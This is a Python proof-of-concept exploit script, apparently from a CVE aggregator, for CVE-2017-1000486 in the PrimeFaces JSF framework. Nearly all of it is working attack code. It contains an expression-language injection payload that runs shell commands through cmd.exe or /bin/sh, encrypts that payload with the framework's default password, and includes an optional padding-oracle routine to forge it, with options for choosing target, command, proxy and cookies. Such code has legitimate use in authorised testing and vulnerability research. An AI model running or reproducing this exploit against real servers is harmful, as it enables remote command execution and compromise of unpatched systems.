4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / primefaces.py PY
from paddingoracle import BadPaddingException, PaddingOracle
import requests
from Crypto.Hash import MD5
from Crypto.Cipher import DES
import base64
import socket
import time
import logging
import argparse

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        requests.packages.urllib3.disable_warnings()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        payload = base64.b64encode(data)

        while 1:
            try:
                post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload}
                response = self.session.post(self.target, data=post_params, stream=False, timeout=5, verify=False, proxies=self.proxies, headers=self.headers)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...', self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        # An HTTP 500 error was returned, likely due to incorrect padding
        if response.status_code == 500:
            logging.exception('No padding exception raised on %r', payload)
            return

        raise BadPaddingException

payloadEL =  '${session.setAttribute("scriptfactory",facesContext.getExternalContext().getClass().getClassLoader().loadClass("javax.script.ScriptEngineManager").newInstance())}'
payloadEL += '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
payloadEL += '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
payloadEL += '${session.getAttribute("scriptengine").eval('
payloadEL += '"var os = java.lang.System.getProperty(\\"os.name\\");'
payloadEL += 'var proc = null;'
payloadEL += 'os.toLowerCase().contains(\\"win\\")? '
payloadEL += 'proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"cmd.exe\\",\\"/C\\",\\"".concat(request.getParameter("cmd")).concat("\\"]).start()'
payloadEL += ' : proc = new java.lang.ProcessBuilder[\\"(java.lang.String[])\\"]([\\"/bin/sh\\",\\"-c\\",\\"").concat(request.getParameter("cmd")).concat("\\"]).start();'
payloadEL += 'var is = proc.getInputStream();'
payloadEL += 'var sc = new java.util.Scanner(is,\\"UTF-8\\"); var out = \\"\\";'
payloadEL += 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);"))}'
payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
payloadEL += '${facesContext.getExternalContext().getResponse().getWriter().close()}';

payloadELPOC = '${facesContext.getExternalContext().setResponseHeader("TESTING_IF_THIS_IS_VULNERABLE_PIMPS_POC","POC_EL_INJECTION")}'

def get_args():
    parser = argparse.ArgumentParser( prog="primefaces.py",
                      formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                      epilog= '''
                       This script exploits an expression language remote code execution flaw in the Primefaces JSF framework.
                       Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, 
                       due to the use of weak crypto and default encryption password and salt.
                      ''')

    parser.add_argument("target", help="Target Host")
    parser.add_argument("-pw", "--password", default="primefaces", help="Primefaces Password (Default = primefaces")
    parser.add_argument("-pt", "--path", default="/javax.faces.resource/dynamiccontent.properties.xhtml", help="Path to dynamiccontent.properties (Default = /javax.faces.resource/dynamiccontent.properties.xhtml)")
    parser.add_argument("-c", "--cmd", default="whoami", help="Command to execute. (Default = whoami)")
    parser.add_argument("-poc", "--poc", action='store_true', help="Use Poc Payload")
    parser.add_argument("-px", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (Default = None)")
    parser.add_argument("-ck", "--cookie", default="", help="Configure a cookie in the format 'COOKIE=VALUE; COOKIE2=VALUE2;' (Default = None)")
    parser.add_argument("-o", "--oracle", default="0", help="Exploit the target with Padding Oracle. Use 1 to activate. (Default = 0) (SLOW)")
    parser.add_argument("-pl", "--payload", default="", help="EL Encrypted payload. That function is meant to be used with the Padding Oracle generated payload. (Default = None) ")
    args = parser.parse_args()
    return args


"""Mimic Java's PBEWithMD5AndDES algorithm used by Primefaces"""
def encrypt(data, password):
    # Padding clear-text using PKCS5 algo
    padding = 8 - len(data) % 8
    data += chr(padding) * padding
    # IV and "iterations count" extracted from primefaces sourcecode
    iterations = 19
    iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03'
    hasher = MD5.new()
    hasher.update(password.encode())
    hasher.update(iv)
    result = hasher.digest()

    for i in range(1, iterations):
        hasher = MD5.new()
        hasher.update(result)
        result = hasher.digest()

    cipher = DES.new(result[:8], DES.MODE_CBC, result[8:16])
    # BUGFIX: adding .encode() on string to pass a bytearray.
    # This modification is needed to work with latest version of pycryptodome
    encrypted = cipher.encrypt(data.encode())
    print ("[*] Generated Encrypted Payload: " + str(base64.b64encode(encrypted).decode()))
    return str(base64.b64encode(encrypted).decode())

def request_to_string(req):
    return '{method} {url} HTTP/1.1\n{headers}\n\n{body}'.format(
        method=req.method,
        url=req.url,
        headers='\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()),
        body=req.body,
    )

def response_to_string(res):
    return 'HTTP/1.1 {status_code}\n{headers}\n\n{body}'.format(
        status_code=res.status_code,
        headers='\n'.join('{}: {}'.format(k, v) for k, v in res.headers.items()),
        body=res.content.decode(),
    )

def exploit(target, path, cmd, password, proxy, cookie, payload="", poc_payload=False):
    requests.packages.urllib3.disable_warnings()
    proxies = {
        'http': proxy, 
        'https': proxy
    }
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
        'Accept': '*/*',
        'Cookie': cookie
    }
    if payload == "":
        if poc_payload:
            payload = encrypt(payloadELPOC, password)
        else:
            payload = encrypt(payloadEL, password)
    post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': payload, 'cmd' : cmd}
    print ("[*] Attempting to execute: %s" % cmd)
    r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=headers)
    print ("\n\n%s\n\n" % request_to_string(r.request))
    if r.text:
      print ("[+] Exploit Result:\n\n%s\n" % response_to_string(r))  
      if (poc_payload):
        if "TESTING_IF_THIS_IS_VULNERABLE_PIMPS_POC" in response_to_string(r):
            print ("[+] BANG!!! :D - Target IS VULNERABLE!!!\n")
        else:
            print ("[-] Target Probably NOT VULNERABLE :-(\n")

    else:
      print ("[-] Response body empty... Target might not be vulnerable or don't use default password... Try the padding oracle attack.\n\n%s" % response_to_string(r))

def exploit_paddingoracle(target, path, cmd, password, proxy, cookie):
    padbuster = PadBuster()
    padbuster.proxies = {
        'http': proxy, 
        'https': proxy
    }
    padbuster.headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
        'Accept': '*/*',
        'Cookie': cookie
    }
    padbuster.target = target+path
    iv = b'\xa9\x9b\xc8\x32\x56\x34\xe3\x03'
    payload = padbuster.encrypt(payloadEL, block_size=8, iv=iv)
    print ("[+] Using the following generated payload:\n\n %s" % base64.b64encode(payload))  
    requests.packages.urllib3.disable_warnings()
    proxies = {'http': proxy, 'https': proxy}
    post_params = {'pfdrt':'sc', 'ln':'primefaces', 'pfdrid': base64.b64encode(payload), 'cmd' : cmd}
    print ("[*] Attempting to execute: %s" % cmd)
    r = requests.post(target+path, data=post_params, verify=False, proxies=proxies, headers=padbuster.headers)
    print(r.headers)
    if r.text:
      print ("[+] Exploit Result:\n\n%s" % response_to_string(r))  
    else:
      print ("[-] Response body empty... Target might not be vulnerable... :-(\n\n%s" % response_to_string(r))

def main():
    print ('')
    print ('========================================================================')
    print ('|     CVE-2017-1000486 - Primefaces Remote Code Execution Exploit      |')
    print ('|                               by pimps                               |')
    print ('========================================================================\n')

    args = get_args()
    if (args.oracle.strip() == "0"):
        if (args.payload.strip() == ""):
            print ("[*] Generating payload using default Password...")  
        else:
            print ("[*] Executing the exploit using a given Payload...")
        exploit(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip(), args.payload.strip(), args.poc)
    else:
        print ("[*] Generating payload with Padding Oracle Attack... (SLOW)")  
        exploit_paddingoracle(args.target.strip(),args.path.strip(),args.cmd.strip(), args.password.strip(), args.proxy.strip(), args.cookie.strip())


if __name__ == '__main__':
  main()